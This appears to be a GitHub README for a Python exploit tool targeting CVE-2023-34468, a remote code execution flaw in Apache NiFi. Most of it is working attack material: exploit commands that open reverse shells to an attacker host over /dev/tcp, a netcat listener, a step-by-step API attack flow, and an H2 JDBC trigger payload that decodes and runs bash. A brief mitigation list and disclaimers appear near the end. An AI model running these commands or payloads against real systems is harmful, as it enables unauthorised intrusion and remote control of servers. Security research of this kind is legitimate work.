CVE-2023-34468 Exploit

Overview

This repository provides a Python-based exploit tool for CVE-2023-34468, a critical remote code execution vulnerability (CVSS 9.8) in Apache NiFi versions 0.0.2 through 1.21.0. It allows authenticated users to execute arbitrary code by manipulating H2 database connection strings with embedded triggers.

⚠️ Warning: For educational and authorized testing purposes only. Unauthorized access to computer systems is illegal.

Vulnerability Details

• CVE ID: CVE-2023-34468
• Affected Versions: Apache NiFi 0.0.2–1.21.0
• Impact: Remote Code Execution (RCE)
• CVSS Score: 9.8 (Critical)
• Discovery Date: June 12, 2023
• Description: The DBCPConnectionPool and HikariCPConnectionPool Controller Services allow users to configure a Database URL with the H2 driver that enables arbitrary Java code execution through H2's CREATE TRIGGER functionality. When a connection is initialized, embedded JavaScript code executes with NiFi's privileges.

Prerequisites

• Python 3.7+
• requests library
• Network access to NiFi API (default port 8080 or 8443)
• Target NiFi instance without authentication OR valid credentials
• Listener setup for reverse shell (e.g., nc -lnvp 5555)

Quick Start

Clone and Install

git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt

Unauthenticated NiFi (no credentials needed)

# Start your listener
nc -lnvp 5555

# Run the exploit — auth is auto-detected, no flags needed for open instances
python3 exploit.py \
  -t http://nifi.target.com:8080 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555

Authenticated NiFi (username/password)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  -u admin -p password123

Authenticated NiFi (bearer token)

python3 exploit.py \
  -t https://nifi.target.com:8443 \
  -c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
  -lh ATTACKER_IP \
  -lp 5555 \
  --token <your_bearer_token>

Skip cleanup (leave artifacts on target)

python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup

All options

python3 exploit.py --help

Verification: Check your listener for the reverse shell connection. Run id to confirm code execution.

How It Works (Technical Details)

Attack Flow

1. Reconnaissance: Identify NiFi version via /nifi-api/system-diagnostics
2. Create DBCP Service: POST malicious H2 connection string to /nifi-api/process-groups/root/controller-services
3. Create Processor: POST ExecuteSQL processor to same process group
4. Configure Processor: Associate processor with malicious DBCP service
5. Enable Service: PUT to /nifi-api/controller-services/{id}/run-status with state ENABLED
6. Trigger RCE: PUT to /nifi-api/processors/{id}/run-status with state RUNNING — H2 trigger fires on connection

H2 Payload Structure

jdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x

Key points:

• Escape semicolon with backslash: \;
• JavaScript fires on BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (auto-triggered)
• Base64 encode payload to avoid special character issues
• Padding equals signs are replaced with spaces to avoid H2 parsing issues

Payload Examples

Reverse Shell

# Run exploit directly
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555

Command Execution

python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555

Mitigation

• Update: Upgrade to Apache NiFi 1.22.0 or later
• Access Control: Restrict NiFi API access via firewall/WAF
• Authentication: Enable and enforce authentication on NiFi
• Monitoring: Alert on unusual controller service configurations
• Network Segmentation: Isolate NiFi from untrusted networks

References

• NVD - CVE-2023-34468
• Apache NiFi Security Advisory
• NIFI-11653 - Issue Tracker
• Apache Mailing List Discussion

Disclaimer

This tool is provided for security research and authorized testing only. The author is not responsible for misuse or damage caused by this exploit. Always test responsibly in authorized environments only.

Credits

• Discovery: Matei "Mal" Badanoiu
• Metasploit Module: h00die
• Python POC: Jean

License

MIT License - See LICENSE file for details

Built for security research and authorized penetration testing.

Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research